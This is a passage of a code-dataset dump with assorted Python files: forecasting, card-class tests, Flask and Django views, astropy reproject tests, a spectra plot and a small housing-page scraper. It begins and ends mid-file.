\n\n\tdata2=data[data.cell=='CAL00013_2A_1']\n\tdata2=data2[sel_col]\n\tdata2['target']=data2.prb_l.shift(-1)\n\tdata2_l2=pd.concat([data2,data2[use_col].shift(1),data2[use_col].shift(2),data2[use_col].shift(3),data2[use_col].shift(4)], axis=1).dropna()\n\n\ttr_d2=data2_l2[:-200]\n\ttr_y=tr_d2.target\n\tdel tr_d2['target']\n\tdel tr_d2['dt']\n\tte_d2=data2_l2[-200:]\n\tte_y=te_d2.target\n\tdel te_d2['target']\n\tdel te_d2['dt']\n\n\tts_cv = TimeSeriesSplit(n_splits=4).split(tr_d2)\n\t############ Extract training Data ###################\n\t#Xy_train=data_prb[np.append(features,target)].dropna() # 9 features, 1 target (1-slot time after)\n\tX_train=tr_d2.values\n\ty_train=tr_y\n\tX_test=te_d2.values\n\ty_test=te_y\n\n\n#%%\n\tparam_test2 = {'max_depth':range(1,3), 'n_estimators':[150,200,250], 'learning_rate':[0.01,0.1,0.2,0.3]}\n\tgbt = ensemble.GradientBoostingRegressor()\n\tgsearch2 = GridSearchCV(estimator=gbt,param_grid = param_test2, n_jobs=8,cv=5, scoring='neg_mean_squared_error')\n\tgsearch2.fit(X_train,y_train)\n\tprint(gsearch2.grid_scores_, gsearch2.best_params_, gsearch2.best_score_) \n\t\n\tregressor=gsearch2.best_estimator_\n\tregressor.fit(X_train, y_train)\n\ty_pred=regressor.predict(X_test)\n\ty_out=pd.concat([y_test.reset_index().target,pd.Series(y_pred)],axis=1)\n\tprint (mean_squared_error(y_out[0],y_out.target)**0.5)\n\t\n#%% \n\t\n\t\n\t\n\t\n\t\n\t\n\t############## Splitting Time Series Data for Walk-Forward Type Cross-Validation #####################\n\tX_predict=data_prb.iloc[-1][features]\n\tX_predict_value=X_predict.values\n\tts_cv = TimeSeriesSplit(n_splits=4).split(X_train)\n\t############# Do not use default splitting method in cross validation ######################\n\t\t\t\t\t\n\t############## find optimum GBRT MOdel ####################\n\tparameters = {'learning_rate': [0.05, 0.02], 'max_depth': [2,4], 'min_samples_split': [2,4] }\n\test = ensemble.GradientBoostingRegressor(n_estimators=200)\n\tmse_scorer=make_scorer(mean_squared_error,greater_is_better=False) \n\tgs_cv = GridSearchCV(estimator=est,param_grid=parameters,cv=ts_cv, scoring=mse_scorer) # use Grid Search to find optimal hyperparameters\n\tgs_cv.fit(X_train, y_train)\n\t# best hyperparameter setting\n\tprint (gs_cv.best_params_)\n\tregressor=gs_cv.best_estimator_\n\n\t###### train the model ######### \n\tregressor.fit(X_train, y_train)\n\t\t\t \n\t###### Make the final preidction ########\n\ty_predict = regressor.predict(X_predict_value.reshape(1,-1))\n\t\n\tprint (X_predict, y_predict)\n\t\n\n\nModel='Prophet'#'AVG','GBT'\nif Model=='Prophet':\n\tfrom fbprophet import Prophet\n\ttrain['prb_l']=np.log(train.prb)\n\tdf=train[['dt','cell','prb_l']]\n\tdf['y'] = df.prb_l\n\tdel df['prb_l']\n\t#df=df[df.dt.apply(lambda x: x.weekday()==1)] #tuesday\n\n\toutdf=[]\n\tcnt=0\n\tfor c in output.cell_name:\n\t\tcnt+=1\n\t\tprint (c,cnt,len(output))\n\t\t#c='CCL00015_3A_1'\n\t\tdf1=df[df.cell==c]\n\t\tdel df1['cell']\n\t\tdf1.columns=['ds','y']\n\t\n\t\tmdl = Prophet(daily_seasonality=False, weekly_seasonality=False,yearly_seasonality=False)#,holidays = holidays)\n\t\tmdl.fit(df1)\n\t\t \n\t\tfuture = mdl.make_future_dataframe(periods=15, freq='1min')\n\t\tforecast = mdl.predict(future)\n \n\t\t#forecast[['ds', 'yhat', 'yhat_lower', 'yhat_upper']].tail()\n\t\t\n\t\toutdf.append([c]+list(forecast[forecast.ds.isin(tss)].yhat.apply(np.exp)))\n\t\t\n\toutdf=pd.DataFrame(outdf)\n\toutdf.columns=output_columns\n\toutdf.to_csv('p2_fbprophet_v0a.csv',index=False)\t\n\n\n\t\t\n#%%\n\t\nif Model=='GBT':\n # generate possible features\n for lag in np.arange(97): ### generate prb with lag from 0 to 96\n featurename='prb_lag'+str(lag)\n data_prb[featurename]=data_prb['prb'].shift(lag)\n \n # generate model target: Next 15 min load\n for lag in [1]: ###### generate prediction target, future prb in 1, 4 or 96 periods\n columnname='prb_future'+str(lag)\n data_prb[columnname]=data_prb['prb'].shift(-lag)\n \n feature_n=8 ##### use lag0 to lag 7, and lag 95 as features #######\n features=['prb_lag0','prb_lag1','prb_lag2','prb_lag3','prb_lag4','prb_lag5','prb_lag6','prb_lag7','prb_lag95']\n target=['prb_future1'] # could be future 1, 5, 10 or 20\n \n \n ############ Extract training Data ###################\n Xy_train=data_prb[np.append(features,target)].dropna() # 9 features, 1 target (1-slot time after)\n X_train=Xy_train[features].values\n y_train=Xy_train[target].values.ravel()\n\n X_predict=data_prb.iloc[-1][features]\n X_predict_value=X_predict.values\n \n ############## Splitting Time Series Data for Walk-Forward Type Cross-Validation #####################\n ts_cv = TimeSeriesSplit(n_splits=4).split(X_train)\n ############# Do not use default splitting method in cross validation ######################\n \n ############## find optimum GBRT MOdel ####################\n parameters = {'learning_rate': [0.05, 0.02], 'max_depth': [2,4], 'min_samples_split': [2,4] }\n est = ensemble.GradientBoostingRegressor(n_estimators=200)\n mse_scorer=make_scorer(mean_squared_error,greater_is_better=False) \n gs_cv = GridSearchCV(estimator=est,param_grid=parameters,cv=ts_cv, scoring=mse_scorer) # use Grid Search to find optimal hyperparameters\n gs_cv.fit(X_train, y_train)\n # best hyperparameter setting\n print (gs_cv.best_params_)\n regressor=gs_cv.best_estimator_\n\n ###### train the model ######### \n regressor.fit(X_train, y_train)\n \n ###### Make the final preidction ########\n y_predict = regressor.predict(X_predict_value.reshape(1,-1))\n \n print (X_predict, y_predict)\n\n\n\n","sub_path":"Contest/cell_load_p2/LSTM_p2_indi_v1.py","file_name":"LSTM_p2_indi_v1.py","file_ext":"py","file_size_in_byte":13134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"424507691","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 29 13:27:53 2013\n@author: Liz Jakubowski - jakubow4\n\nThis module contains the class TestCard, the functions suite()\nand main().\n\nTestCard - The PyUnit Test Case for the Card class.\nsuite - Gathers all tests in TestCard into a suite.\nmain - Runs the test suite.\n\n\"\"\"\n\nimport unittest\n\nfrom model.card import Card, Suit, Color, Rank, Side\n\nclass TestCard(unittest.TestCase):\n \n \"\"\"\n \n Tests a the functionality of a Card.\n \n \"\"\"\n\n def setUp(self):\n \"\"\"Initializes four Cards of different ranks and suits.\"\"\"\n self.heart = Card(Suit.HEART, Rank.ACE)\n self.diam = Card(Suit.DIAMOND, 2) \n self.spade = Card(Suit.SPADE, 3)\n self.club = Card(Suit.CLUB, Rank.KING)\n self.cards = [self.heart, self.diam, self.spade, self.club]\n \n def tearDown(self):\n \"\"\"Does nothing.\"\"\"\n return\n \n def test_initSuit(self):\n \"\"\"Tests that the init function properly sets the suit.\"\"\"\n self.assertEqual(self.heart.suit, Suit.HEART, \n \"The suit of the Ace of Hearts was incorrect.\")\n self.assertEqual(self.diam.suit, Suit.DIAMOND, \n \"The suit of the 2 of Diamonds was incorrect.\")\n self.assertEqual(self.spade.suit, Suit.SPADE, \n \"The suit of the 3 of Spades was incorrect.\")\n self.assertEqual(self.club.suit, Suit.CLUB, \n \"The suit of the King of Clubs was incorrect.\")\n \n def test_initRank(self):\n \"\"\"Tests that the init function properly sets the rank.\"\"\"\n self.assertEqual(self.heart.rank, Rank.ACE, \n \"The rank of the Ace of Hearts was incorrect.\")\n self.assertEqual(self.diam.rank, 2, \n \"The rank of the 2 of Diamonds was incorrect.\")\n self.assertEqual(self.spade.rank, 3, \n \"The rank of the 3 of Spades was incorrect.\")\n self.assertEqual(self.club.rank, Rank.KING, \n \"The rank of the King of Clubs was incorrect.\")\n \n def test_initSide(self):\n \"\"\"Tests that all cards are face-down initially.\"\"\"\n for c in self.cards:\n self.assertEqual(c.side, Side.FACE_DOWN, \n \"The Cards were not face-down initially.\")\n \n def test_initInvalidSuit(self):\n \"\"\"\n Tests that creating a Card with an invalid suit raises \n a ValueError.\n \"\"\"\n with self.assertRaises(ValueError):\n Card('V', Rank.ACE)\n \n def test_initInvalidRank(self):\n \"\"\"\n Tests that creating a Card with an invalid rank raises\n a ValueError.\n \"\"\"\n with self.assertRaises(ValueError):\n Card(Suit.SPADE, -1)\n \n def test_flip(self):\n \"\"\"Tests the flip function.\"\"\"\n for c in self.cards:\n c.flip()\n self.assertEqual(c.side, Side.FACE_UP, \n \"The card is still face-down.\")\n c.flip()\n self.assertEqual(c.side, Side.FACE_DOWN,\n \"The card is still face-up.\")\n \n def test_flipUp(self):\n \"\"\"Tests the flip up function.\"\"\"\n for c in self.cards:\n c.flip_up()\n self.assertEqual(c.side, Side.FACE_UP, \"The card is not face-up.\")\n c.flip_up()\n self.assertEqual(c.side, Side.FACE_UP, \"The card is not face-up.\")\n \n def test_flipDown(self):\n \"\"\"Tests the flip down function.\"\"\"\n for c in self.cards:\n c.flip_up()\n self.assertEqual(c.side, Side.FACE_UP, \n \"The card is not face-down.\")\n c.flip_down()\n self.assertEqual(c.side, Side.FACE_DOWN, \n \"The card is not face-down.\")\n \n def test_isFaceDown(self):\n \"\"\"\n Tests that is_face_down returns True for face-down cards and\n False for face-up cards.\n \"\"\"\n for c in self.cards:\n self.assertTrue(c.is_face_down())\n c.flip_up()\n self.assertFalse(c.is_face_down())\n \n def test_isFaceUp(self):\n \"\"\"\n Tests that is_face_up returns True for face-up cards and False\n for face-down cards.\n \"\"\"\n for c in self.cards:\n self.assertFalse(c.is_face_up())\n c.flip_up()\n self.assertTrue(c.is_face_up())\n \n def test_isBlack(self):\n \"\"\"Tests that is_black returns True only for black cards.\"\"\"\n self.assertFalse(self.heart.is_black(), \"Hearts are not black.\")\n self.assertFalse(self.diam.is_black(), \"Diamonds are not black.\")\n self.assertTrue(self.spade.is_black(), \"Spades are black.\")\n self.assertTrue(self.club.is_black(), \"Clubs are black.\")\n \n def test_isRed(self):\n \"\"\"Tests that is_red returns True only for red cards.\"\"\"\n self.assertTrue(self.heart.is_red(), \"Hearts are red.\")\n self.assertTrue(self.diam.is_red(), \"Diamonds are red.\")\n self.assertFalse(self.spade.is_red(), \"Spades are not red.\")\n self.assertFalse(self.spade.is_red(), \"Clubs are not red.\")\n \n def test_color(self):\n \"\"\"Tests that color() returns the appropriate color.\"\"\"\n self.assertEqual(self.heart.color(), Color.RED, \"Hearts are red.\")\n self.assertEqual(self.diam.color(), Color.RED, \"Diamonds are red.\")\n self.assertEqual(self.spade.color(), Color.BLACK, \"Spades are black.\")\n self.assertEqual(self.club.color(), Color.BLACK, \"Clubs are black.\")\n \ndef suite():\n \"\"\"\n Gather all the tests from the TestCard class into a test suite.\n \"\"\"\n tests = [\"test_initSuit\", \n \"test_initRank\", \n \"test_initSide\", \n \"test_initInvalidSuit\", \n \"test_initInvalidRank\", \n \"test_flip\", \n \"test_flipUp\", \n \"test_flipDown\", \n \"test_isFaceDown\", \n \"test_isFaceUp\", \n \"test_isBlack\", \n \"test_isRed\", \n \"test_color\"\n ]\n test_suite = unittest.TestSuite(map(TestCard, tests))\n return test_suite\n\nif __name__ == '__main__':\n \"\"\"\n Run tests from the TestCard class individually.\n \"\"\"\n unittest.main()","sub_path":"src/test/modelTest/cardtest.py","file_name":"cardtest.py","file_ext":"py","file_size_in_byte":6337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"450753527","text":"#!/usr/bin/env python\n# coding=utf-8\n\nfrom flask import Flask\nfrom .helper import register_blueprints\nfrom .core import db\n\ndef create_app(package_name, package_path, settings_override = None,\n register_security_blueprint = True):\n app = Flask(package_name, instance_relative_config = True)\n app.config.from_object('wydy.settings')\n db.init_app(app) \n register_blueprints(app, package_name, package_path) \n \n return app\n","sub_path":"bookRecom/wydy/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"194841936","text":"import numpy as np\nfrom compas.datastructures import Mesh\nfrom compas.geometry import Box, Frame, Point\n# from compas_plotters import MeshPlotter\nfrom compas_viewers import Viewer\nfrom skimage.measure import marching_cubes_lewiner\n\nfrom compas_vol.primitives import VolBox\n\nframe = Frame([1, 1, 1], [0.68, 0.68, 0.27], [-0.67, 0.73, -0.15])\nb = Box(frame, 25, 20, 15)\nvb = VolBox(b, 4.)\n\n# g = np.vectorize(b.get_distance)\n# m = np.fromfunction(g, (64, 64, 64))\n\nnum = 30\nlb = -15.0\nub = 15.0\nfact = (ub-lb)/(num-1)\nm = np.empty((num, num, num))\nfor i in range(num):\n for j in range(num):\n for k in range(num):\n x = lb + k*fact\n y = lb + j*fact\n z = lb + i*fact\n v = vb.get_distance(Point(x, y, z))\n m[k, j, i] = v\n\nverts, faces, normals, values = marching_cubes_lewiner(m, 0.0)\nmesh = Mesh.from_vertices_and_faces(verts, faces)\nprint(mesh.summary())\n\n# plotter = MeshPlotter(mesh)\n\n# plotter.draw_faces()\n# plotter.show()\n\nview = Viewer()\nview.mesh = mesh\nview.show()","sub_path":"src/compas_vol/sandbox/mesh.py","file_name":"mesh.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"224325998","text":"#!/usr/bin/env pythonw\nimport numpy as np\nfrom scipy import stats\nimport matplotlib.pyplot as plt\n\n# set LaTeX\nplt.rc('text', usetex=True)\n\nNaCl50 = np.genfromtxt('../NaCl50.csv', delimiter=',', names=['Wavelength', 'Intensity'])\nx50 = NaCl50['Wavelength']\ny50 = NaCl50['Intensity']\n\nNaCl100 = np.genfromtxt('../NaCl100.csv', delimiter=',', names=['Wavelength', 'Intensity'])\nx100 = NaCl100['Wavelength']\ny100 = NaCl100['Intensity']\n\nNaCl200 = np.genfromtxt('../NaCl200.csv', delimiter=',', names=['Wavelength', 'Intensity'])\nx200 = NaCl200['Wavelength']\ny200 = NaCl200['Intensity']\n\nNaCl800 = np.genfromtxt('../NaCl800.csv', delimiter=',', names=['Wavelength', 'Intensity'])\nx800 = NaCl800['Wavelength']\ny800 = NaCl800['Intensity']\n\nplt.axvline(x = x50[93], ls = ':', color = 'gray', label='Quinine peak at 446 nm')\n\nplt.plot (x50, y50, label='50 ppm NaCl')\nplt.plot (x100, y100, label='100 ppm NaCl')\nplt.plot (x200, y200, label='200 ppm NaCl')\nplt.plot (x800, y800, label='800 ppm NaCl')\n\nplt.title ('Emission Spectra of Quenched Quinine Solutions at 348 nm')\nplt.xlabel ('Wavelength (nm)')\nplt.ylabel ('Intensity (photos$^{-1}$)')\nplt.ticklabel_format(style='sci', axis = 'y', scilimits=(0,0))\n\nplt.legend(loc=0)\nleg = plt.gca().get_legend()\n\nplt.savefig('../../images/quenched.png', bbox_inches='tight', dpi=100)\nplt.close()\n","sub_path":"achem_2017/Fluorimetry/data/plotData/plotQuenched.py","file_name":"plotQuenched.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"8494494","text":"# -*- coding: utf-8 -*-\r\n\r\nimport requests\r\nfrom lxml import etree\r\nimport os,re\r\nimport json\r\n\r\ndef loadRequest(url, *args, **kwargs):\r\n # print url\r\n try:\r\n request = requests.get(url, *args, **kwargs)\r\n reponse = request.text\r\n except:\r\n print('[ERROR:超时]')\r\n return\r\n else:\r\n return reponse\r\n\r\ndef loadhtml(data, filename):\r\n if \"images1\" not in os.listdir('./'):\r\n os.mkdir(\"./images1\")\r\n with open('./images1/' + filename + '.html', 'wb') as f:\r\n f.write(data)\r\n\r\ndef WriteImg(data, filename):\r\n if \"images1\" not in os.listdir('./'):\r\n os.mkdir(\"./images1\")\r\n print(\"正在保存图片...%s\") % filename\r\n with open('./images1/' + filename +'.jpg', 'wb') as f:\r\n f.write(data)\r\n\r\ndef loadVideo(data,filename):\r\n if \"images1\" not in os.listdir('./'):\r\n os.mkdir(\"./images1\")\r\n print(\"正在保存视频...%s\") % filename\r\n with open('./images1/' + filename, 'wb') as f:\r\n f.write(data)\r\n\r\ndef loadjson(data, filename):\r\n if \"images1\" not in os.listdir('./'):\r\n os.mkdir(\"./images1\")\r\n with open('./images1/' + filename + '.json', 'wb') as f:\r\n # ensure_ascii 表示禁用ascii编码格式来处理中文,使用Unicode处理\r\n content = json.dumps(data, ensure_ascii=False)\r\n # 将数据转码为utf-8\r\n f.write(content.encode(\"utf-8\"))\r\n\r\nheaders = {\r\n 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36'\r\n\r\n}\r\n\r\n# search = raw_input('关键字:')\r\n# kw = {'q': search}\r\n# baseURL = 'http://www.meipai.com'\r\nurl = 'https://bj.lianjia.com/chengjiao/'\r\nurl1 = 'https://bj.lianjia.com/chengjiao/101101838090.html'\r\n# response = requests.get(baseURL+'/search/all?', params=kw, headers=headers).content\r\nresponse = loadRequest(url1, None, headers).encode(\"utf-8\")\r\n\r\n# print response\r\n\r\nloadhtml(response, 'a1')\r\n\r\npattern_base = re.compile(r\"
]*>基本属性.*?\", re.S)\r\npattern_base1 = re.compile(r\"
    .*?
\", re.S)\r\nbase1 = pattern_base.findall(response)\r\nprint(base1)\r\nbase = pattern_base1.search(base1[0]).group()\r\nprint(base)\r\n\r\n# pattern_transaction = re.compile(r'
]*>交易属性.*?', re.S)\r\n# pattern_transaction1 = re.compile(r'
]*>交易属性.*?', re.S)\r\n# transaction1 = pattern_transaction.findall(response.text)\r\n# transaction = pattern_base1.findall(transaction1)\r\n#\r\n# history_content = re.compile(r'

]*>历史成交记录.*?

', re.S)\r\n# history = history_content.findall(response.text)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"LIANJIA3/test/1html.py","file_name":"1html.py","file_ext":"py","file_size_in_byte":2639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"449963658","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\nfrom __future__ import (absolute_import, division, print_function,\n unicode_literals)\n\nimport itertools\n\nimport numpy as np\nfrom astropy.io import fits\nfrom astropy.wcs import WCS\nfrom astropy.utils.data import get_pkg_data_filename\nimport pytest\n\nfrom .. import reproject_interp, reproject_exact\n\n# TODO: add reference comparisons\n\nALL_MODES = ('nearest-neighbor',\n 'bilinear',\n 'biquadratic',\n 'bicubic',\n 'flux-conserving')\n\nALL_DTYPES = []\nfor endian in ('<', '>'):\n for kind in ('u', 'i', 'f'):\n for size in ('1', '2', '4', '8'):\n if kind == 'f' and size == '1':\n continue\n ALL_DTYPES.append(np.dtype(endian + kind + size))\n\n\nclass TestReproject(object):\n\n def setup_method(self, method):\n\n self.header_in = fits.Header.fromtextfile(get_pkg_data_filename('data/gc_ga.hdr'))\n self.header_out = fits.Header.fromtextfile(get_pkg_data_filename('data/gc_eq.hdr'))\n\n self.header_out_size = self.header_out.copy()\n self.header_out_size['NAXIS'] = 2\n self.header_out_size['NAXIS1'] = 600\n self.header_out_size['NAXIS2'] = 550\n\n self.array_in = np.ones((700, 690))\n\n self.hdu_in = fits.ImageHDU(self.array_in, self.header_in)\n\n self.wcs_in = WCS(self.header_in)\n self.wcs_out = WCS(self.header_out)\n self.shape_out = (600, 550)\n\n def test_hdu_header(self):\n\n with pytest.raises(ValueError) as exc:\n reproject_interp(self.hdu_in, self.header_out)\n assert exc.value.args[0] == \"Need to specify shape since output header does not contain complete shape information\"\n\n reproject_interp(self.hdu_in, self.header_out_size)\n\n def test_hdu_wcs(self):\n reproject_interp(self.hdu_in, self.wcs_out, shape_out=self.shape_out)\n\n def test_array_wcs_header(self):\n\n with pytest.raises(ValueError) as exc:\n reproject_interp((self.array_in, self.wcs_in), self.header_out)\n assert exc.value.args[0] == \"Need to specify shape since output header does not contain complete shape information\"\n\n reproject_interp((self.array_in, self.wcs_in), self.header_out_size)\n\n def test_array_wcs_wcs(self):\n reproject_interp((self.array_in, self.wcs_in), self.wcs_out, shape_out=self.shape_out)\n\n def test_array_header_header(self):\n reproject_interp((self.array_in, self.header_in), self.header_out_size)\n\n\nINPUT_HDR = \"\"\"\nWCSAXES = 2 / Number of coordinate axes\nCRPIX1 = 0.5 / Pixel coordinate of reference point\nCRPIX2 = 0.5 / Pixel coordinate of reference point\nCDELT1 = -0.001666666 / [deg] Coordinate increment at reference point\nCDELT2 = 0.001666666 / [deg] Coordinate increment at reference point\nCUNIT1 = 'deg' / Units of coordinate increment and value\nCUNIT2 = 'deg' / Units of coordinate increment and value\nCTYPE1 = 'GLON-CAR' / galactic longitude, plate caree projection\nCTYPE2 = 'GLAT-CAR' / galactic latitude, plate caree projection\nCRVAL1 = 0.0 / [deg] Coordinate value at reference point\nCRVAL2 = 0.0 / [deg] Coordinate value at reference point\nLONPOLE = 0.0 / [deg] Native longitude of celestial pole\nLATPOLE = 90.0 / [deg] Native latitude of celestial pole\n\"\"\"\n\n\n@pytest.mark.parametrize('projection_type, dtype', itertools.product(ALL_MODES, ALL_DTYPES))\ndef test_surface_brightness(projection_type, dtype):\n\n header_in = fits.Header.fromstring(INPUT_HDR, sep='\\n')\n header_in['NAXIS'] = 2\n header_in['NAXIS1'] = 10\n header_in['NAXIS2'] = 10\n\n header_out = header_in.copy()\n\n header_out['CDELT1'] /= 2\n header_out['CDELT2'] /= 2\n header_out['NAXIS1'] *= 2\n header_out['NAXIS2'] *= 2\n\n data_in = np.ones((10, 10), dtype=dtype)\n\n if projection_type == 'flux-conserving':\n data_out, footprint = reproject_exact((data_in, header_in), header_out)\n else:\n data_out, footprint = reproject_interp((data_in, header_in), header_out,\n order=projection_type)\n\n assert data_out.shape == (20, 20)\n\n # Here we check that the values are still 1 despite the change in\n # resolution, which demonstrates that we are preserving surface\n # brightness.\n np.testing.assert_allclose(data_out, 1)\n","sub_path":"reproject/tests/test_high_level.py","file_name":"test_high_level.py","file_ext":"py","file_size_in_byte":4526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"550818451","text":"#from django.shortcuts import render\n# Create your views here.\nfrom rest_framework.generics import get_object_or_404\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom rest_framework.permissions import BasePermission\nfrom v1.serializers import *\nfrom v1.models import *\n\nSAFE_METHODS = ('GET','OPTIONS','HEAD')\n\nclass ReadOnly(BasePermission):\n def has_permission(self, request, view):\n return request.method in SAFE_METHODS\n\nclass ProfessionsView(APIView):\n permission_classes = [ReadOnly]\n\n def get_queryset(self):\n return self.request.query_params.get('type')\n\n def get(self, request):\n professions = Profession.objects.all()\n profession_type = self.get_queryset()\n\n if profession_type is not None:\n professions = professions.filter(type=profession_type)\n\n serializer = ProfessionSerializer(professions, many=True)\n return Response({\"professions\": serializer.data})\n\n def post(self, request):\n profession = request.data.get('profession')\n serializer = ProfessionSerializer(data=profession)\n if serializer.is_valid(raise_exception=True):\n profession_saved = serializer.save()\n return Response({\"success\": profession_saved.id})\n \nclass ProfessionView(APIView):\n permission_classes = [ReadOnly]\n\n def get(self, request, pk):\n profession = get_object_or_404(Profession.objects.all(), pk=pk)\n serializer = ProfessionSerializer(profession)\n return Response({\"profession\": serializer.data})\n\n def delete(self, request, pk):\n profession = get_object_or_404(Profession.objects.all(), pk=pk)\n profession.delete()\n return Response({\n \"success\": pk\n }, status=204)\n\n def put(self, request, pk):\n saved_profession = get_object_or_404(Profession.objects.all(), pk=pk)\n data = request.data.get('profession')\n serializer = ProfessionSerializer(instance=saved_profession, data=data, partial=True)\n if serializer.is_valid(raise_exception=True):\n profession_saved = serializer.save()\n return Response({\n \"success\": profession_saved.id\n })\n\n####\n\nclass RaidsView(APIView):\n permission_classes = [ReadOnly]\n\n def get_queryset(self):\n return self.request.query_params.get('addon')\n\n def get(self, request):\n raids = Raid.objects.all()\n raid_addon = self.get_queryset()\n\n if raid_addon is not None:\n raids = raids.filter(addon=raid_addon)\n serializer = RaidSerializer(raids, many=True)\n return Response({\"raids\": serializer.data})\n\n def post(self, request):\n raid = request.data.get('raid')\n serializer = RaidSerializer(data=raid)\n if serializer.is_valid(raise_exception=True):\n raid_saved = serializer.save()\n return Response({\"success\": raid_saved.id})\n \nclass RaidView(APIView):\n permission_classes = [ReadOnly]\n\n def get(self, request, pk):\n raid = get_object_or_404(Raid.objects.all(), pk=pk)\n serializer = RaidSerializer(raid)\n return Response({\"raid\": serializer.data})\n\n def delete(self, request, pk):\n raid = get_object_or_404(Raid.objects.all(), pk=pk)\n raid.delete()\n return Response({\n \"success\": pk\n }, status=204)\n\n def put(self, request, pk):\n saved_raid = get_object_or_404(Raid.objects.all(), pk=pk)\n data = request.data.get('raid')\n serializer = RaidSerializer(instance=saved_raid, data=data, partial=True)\n if serializer.is_valid(raise_exception=True):\n raid_saved = serializer.save()\n return Response({\n \"success\": raid_saved.id\n })\n\n###\n\nclass HeroClassesView(APIView):\n permission_classes = [ReadOnly]\n\n def get(self, request):\n heroClasses = HeroClass.objects.all()\n serializer = HeroClassSerializer(heroClasses, many=True)\n return Response({\"heroClasses\": serializer.data})\n\n def post(self, request):\n heroClass = request.data.get('heroClass')\n serializer = HeroClassSerializer(data=heroClass)\n if serializer.is_valid(raise_exception=True):\n heroClass_saved = serializer.save()\n return Response({\"success\": heroClass_saved.id})\n \nclass HeroClassView(APIView):\n def get(self, request, pk):\n heroClass = get_object_or_404(HeroClass.objects.all(), pk=pk)\n serializer = HeroClassSerializer(heroClass)\n return Response({\"heroClass\": serializer.data})\n\n def delete(self, request, pk):\n heroClass = get_object_or_404(HeroClass.objects.all(), pk=pk)\n heroClass.delete()\n return Response({\n \"success\": pk\n }, status=204)\n\n def put(self, request, pk):\n saved_heroClass = get_object_or_404(HeroClass.objects.all(), pk=pk)\n data = request.data.get('heroClass')\n serializer = HeroClassSerializer(instance=saved_heroClass, data=data, partial=True)\n if serializer.is_valid(raise_exception=True):\n heroClass_saved = serializer.save()\n return Response({\n \"success\": heroClass_saved.id\n })\n\n###\n\nclass RaciesView(APIView):\n permission_classes = [ReadOnly]\n\n def get_queryset(self):\n return self.request.query_params.get('fraction')\n\n def get(self, request):\n racies = Race.objects.all()\n race_fraction = self.get_queryset()\n\n if race_fraction is not None:\n racies = racies.filter(fraction=race_fraction)\n serializer = RaceSerializer(racies, many=True)\n return Response({\"racies\": serializer.data})\n\n def post(self, request):\n race = request.data.get('race')\n serializer = RaceSerializer(data=race)\n if serializer.is_valid(raise_exception=True):\n race_saved = serializer.save()\n return Response({\"success\": race_saved.id})\n \nclass RaceView(APIView):\n permission_classes = [ReadOnly]\n\n def get(self, request, pk):\n race = get_object_or_404(Race.objects.all(), pk=pk)\n serializer = RaceSerializer(race)\n return Response({\"race\": serializer.data})\n\n def delete(self, request, pk):\n race = get_object_or_404(Race.objects.all(), pk=pk)\n race.delete()\n return Response({\n \"success\": pk\n }, status=204)\n\n def put(self, request, pk):\n saved_race = get_object_or_404(Race.objects.all(), pk=pk)\n data = request.data.get('race')\n serializer = RaceSerializer(instance=saved_race, data=data, partial=True)\n if serializer.is_valid(raise_exception=True):\n race_saved = serializer.save()\n return Response({\n \"success\": race_saved.id\n })","sub_path":"v2/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"123022909","text":"from django.shortcuts import render, redirect\nfrom .forms import SignUpForm\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import get_object_or_404\nfrom django.contrib.auth.models import User\nfrom .forms import UserUpdateForm, ProfileUpdateForm, ImageUpdateForm\nfrom .models import Profile\nfrom django.contrib.auth.forms import UserCreationForm\n\n\ndef register(request):\n if request.method == 'POST':\n form = SignUpForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data['username']\n messages.success(\n request, f'Account for {username} successfully created!!')\n return redirect('/login')\n else:\n form = SignUpForm()\n return render(request, 'registration/register.html', {'form': form})\n\n\n@login_required\ndef get_user_profile(request):\n if request.method == \"POST\":\n u_form = UserUpdateForm(request.POST, instance=request.user)\n p_form = ProfileUpdateForm(\n request.POST, request.FILES, instance=request.user.profile)\n # make sure to filter the phone number\n if u_form.is_valid() and p_form.is_valid():\n u_form.save()\n p_form.save()\n return redirect('profile')\n else:\n u_form = UserUpdateForm(instance=request.user)\n p_form = ProfileUpdateForm(instance=request.user.profile)\n return render(request, 'profile/profile.html', {\n 'u_form': u_form,\n 'p_form': p_form,\n })\n","sub_path":"authentication/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"220376759","text":"\"\"\" Base for custom backends.\n\nmixer.main\n~~~~~~~~~~\n\nThis module implements the objects generation.\n\n:copyright: 2013 by Kirill Klenov.\n:license: BSD, see LICENSE for more details.\n\n\"\"\"\nfrom __future__ import absolute_import, unicode_literals\n\nimport datetime\nfrom types import GeneratorType\n\nimport decimal\nimport logging\nfrom collections import defaultdict\nfrom contextlib import contextmanager\nfrom copy import deepcopy\nfrom importlib import import_module\nimport warnings\n\nfrom . import generators as g, fakers as f, mix_types as t, six\n\ntry:\n from collections import OrderedDict\nexcept ImportError:\n from ordereddict import OrderedDict # noqa\n\n\nNO_VALUE = object()\nSKIP_VALUE = object()\nLOGLEVEL = 